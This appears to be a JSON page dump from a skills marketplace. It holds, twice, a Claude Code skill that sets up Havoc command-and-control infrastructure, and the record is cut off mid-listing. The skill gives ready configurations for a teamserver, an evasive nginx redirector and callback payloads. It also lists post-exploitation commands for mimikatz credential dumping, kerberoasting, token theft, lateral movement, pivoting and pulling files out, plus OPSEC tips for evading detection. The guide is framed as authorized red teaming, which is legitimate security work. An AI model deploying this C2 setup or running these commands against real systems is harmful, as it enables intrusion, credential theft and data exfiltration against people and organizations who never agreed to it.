[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ESY2R40JBSDCZRX9ZZJ9EC":3,"skill-same:01M6ESY2R40JBSDCZRX9ZZJ9EC":133},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":76,"commitSha":77,"skillDirectory":78,"forksCount":14,"repositoryHtmlUrl":79,"repositoryHomepageUrl":80,"ownerHtmlUrl":81,"ownerBlogUrl":6,"ownerDescription":82,"updatedAt":83,"install":84,"resources":97},"01M6ESY2R40JBSDCZRX9ZZJ9EC","building-red-team-c2-infrastructure-with-havoc",null,"Deploy and configure the Havoc C2 framework with teamserver, HTTPS listeners, redirectors, and Demon agents for authorized red team operations.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"havoc","with","red","team","building red team c2 infrastructure with havoc","c2","red team","infrastructure","havoc-c2","red-team-infrastructure","adversary-emulation","command-and-control","analysis","cybersecurity","certificate","configure","command","conversion","red team operations","de","2026-11-10 10:12:30",false,"---\nname: building-red-team-c2-infrastructure-with-havoc\ndescription: Deploy and configure the Havoc C2 framework with teamserver, HTTPS listeners,\n  redirectors, and Demon agents for authorized red team operations.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- havoc-c2\n- command-and-control\n- red-team-infrastructure\n- post-exploitation\n- adversary-emulation\n- demon-agent\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_ai_rmf:\n- GOVERN-1.1\n- MEASURE-2.7\n- MANAGE-3.1\nd3fend_techniques:\n- File Metadata Consistency Validation\n- Certificate Analysis\n- Application Protocol Command Analysis\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1071.001\n- T1573.002\n- T1583.001\n- T1090.002\n- T1105\n- T1055\n---\n\n# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n","# Building Red Team C2 Infrastructure with Havoc\n\n## Overview\n\nHavoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP\u002FHTTPS\u002FSMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE                      │\n├──────────────────────────────────────────────────────────────┤\n│                                                               │\n│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │\n│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │\n│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │\n│  │  (Kali)   │     │  (Nginx\u002FCDN) │     │                  │ │\n│  └──────────┘     └──────────────┘     └──────────────────┘ │\n│       │                   │                                   │\n│       │           ┌──────────────┐                            │\n│       └──────────▶│  Havoc       │                            │\n│                   │  Teamserver  │                            │\n│                   │  (Ubuntu VPS)│                            │\n│                   │  Port 40056  │                            │\n│                   └──────────────┘                            │\n│                                                               │\n└──────────────────────────────────────────────────────────────┘\n```\n\n## Step 1: Install Havoc Teamserver\n\n```bash\n# Clone the Havoc repository\ngit clone https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \\\n    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \\\n    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \\\n    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \\\n    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \\\n    python3-dev libboost-all-dev mingw-w64 nasm\n\n# Build the Teamserver\ncd teamserver\ngo mod download golang.org\u002Fx\u002Fsys\ngo mod download github.com\u002Fugorji\u002Fgo\ncd ..\nmake ts-build\n\n# Build the Client\nmake client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"\u002Fusr\u002Fbin\u002Fx86_64-w64-mingw32-gcc\"\n        Compiler86 = \"\u002Fusr\u002Fbin\u002Fi686-w64-mingw32-gcc\"\n        Nasm = \"\u002Fusr\u002Fbin\u002Fnasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\"\n\n        Uris = [\n            \"\u002Fapi\u002Fv2\u002Fauth\",\n            \"\u002Fapi\u002Fv2\u002Fstatus\",\n            \"\u002Fcontent\u002Fimages\u002Fgallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application\u002Fjson\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application\u002Fjson\",\n                \"Server: nginx\u002F1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n.\u002Fhavoc server --profile .\u002Fprofiles\u002Fhavoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.yourdomain.com\u002Fprivkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location \u002Fapi\u002Fv2\u002Fauth {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location \u002Fapi\u002Fv2\u002Fstatus {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location \u002Fcontent\u002Fimages\u002Fgallery {\n        proxy_pass https:\u002F\u002FTEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location \u002F {\n        return 301 https:\u002F\u002Fwww.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe \u002F Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig \u002Fall\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload \u002Ftools\u002FRubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute \u002Ftools\u002FSeatbelt.exe -group=all\ndemon> dotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal \u003CPID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute \u002Ftools\u002FRubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat\u002FFortiguard for categorization |\n| Sleep\u002FJitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Phase |\n|---|---|---|\n| T1583.001 | Acquire Infrastructure: Domains | Resource Development |\n| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |\n| T1587.001 | Develop Capabilities: Malware | Resource Development |\n| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |\n| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |\n| T1090.002 | Proxy: External Proxy | Command and Control |\n| T1105 | Ingress Tool Transfer | Command and Control |\n| T1055 | Process Injection | Defense Evasion |\n\n## References\n\n- Havoc Framework GitHub: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\n- Havoc Wiki: https:\u002F\u002Fgithub.com\u002FHavocFramework\u002FHavoc\u002Fblob\u002Fmain\u002FWIKI.MD\n- RedTeamOps Havoc 101: https:\u002F\u002Fgithub.com\u002FWesleyWong420\u002FRedTeamOps-Havoc-101\n- Deploying Havoc C2 via Terraform: https:\u002F\u002Fwww.100daysofredteam.com\u002Fp\u002Fred-team-infrastructure-deploying-havoc-c2-via-terraform\n",{"name":5,"tags":49,"author":52,"domain":37,"license":15,"version":53,"nist_csf":54,"subdomain":58,"description":7,"nist_ai_rmf":59,"mitre_attack":63,"d3fend_techniques":70},[32,35,33,50,34,51],"post-exploitation","demon-agent","mahipal","1.0",[55,56,57],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[60,61,62],"GOVERN-1.1","MEASURE-2.7","MANAGE-3.1",[64,65,66,67,68,69],"T1071.001","T1573.002","T1583.001","T1090.002","T1105","T1055",[71,72,73,74,75],"File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":85,"prompt":95,"zipAvailable":96},[86,89,92],{"tool":87,"command":88},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill building-red-team-c2-infrastructure-with-havoc",{"tool":90,"command":91},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill building-red-team-c2-infrastructure-with-havoc",{"tool":93,"command":94},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill building-red-team-c2-infrastructure-with-havoc","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FSKILL.md",true,[98,104,109,115,119,123,129],{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"assets\u002Ftemplate.md","ASSET","资产文件",3873,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fassets\u002Ftemplate.md",{"path":105,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002FLICENSE",{"path":110,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":113,"sourceHtmlUrl":114},"references\u002Fapi-reference.md","REFERENCE","参考文档",1869,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fapi-reference.md",{"path":116,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":117,"sourceHtmlUrl":118},"references\u002Fstandards.md",2491,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fstandards.md",{"path":120,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":121,"sourceHtmlUrl":122},"references\u002Fworkflows.md",8168,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Freferences\u002Fworkflows.md",{"path":124,"resourceType":125,"resourceTypeDesc":126,"sizeBytes":127,"sourceHtmlUrl":128},"scripts\u002Fagent.py","SCRIPT","脚本",6237,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fagent.py",{"path":130,"resourceType":125,"resourceTypeDesc":126,"sizeBytes":131,"sourceHtmlUrl":132},"scripts\u002Fprocess.py",12571,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fbuilding-red-team-c2-infrastructure-with-havoc\u002Fscripts\u002Fprocess.py",[134,174,183,192,214,239],{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":6,"sourceHtmlUrl":139,"categories":140,"keywords":155,"publishedAt":44},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[141,144,147,150],{"categoryNo":142,"categoryName":143,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":145,"categoryName":146,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":148,"categoryName":149,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":151,"categoryName":152,"taxonomyType":153,"taxonomyTypeDesc":154},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[136,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,25],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube",{"skillNo":175,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":6,"sourceHtmlUrl":176,"categories":177,"keywords":182,"publishedAt":44},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[178,179,180,181],{"categoryNo":142,"categoryName":143,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":145,"categoryName":146,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":148,"categoryName":149,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":151,"categoryName":152,"taxonomyType":153,"taxonomyTypeDesc":154},[136,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,25],{"skillNo":184,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":138,"licenseFileUrl":6,"sourceHtmlUrl":185,"categories":186,"keywords":191,"publishedAt":44},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[187,188,189,190],{"categoryNo":142,"categoryName":143,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":145,"categoryName":146,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":148,"categoryName":149,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":151,"categoryName":152,"taxonomyType":153,"taxonomyTypeDesc":154},[136,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,25],{"skillNo":193,"name":194,"nameZh":6,"description":19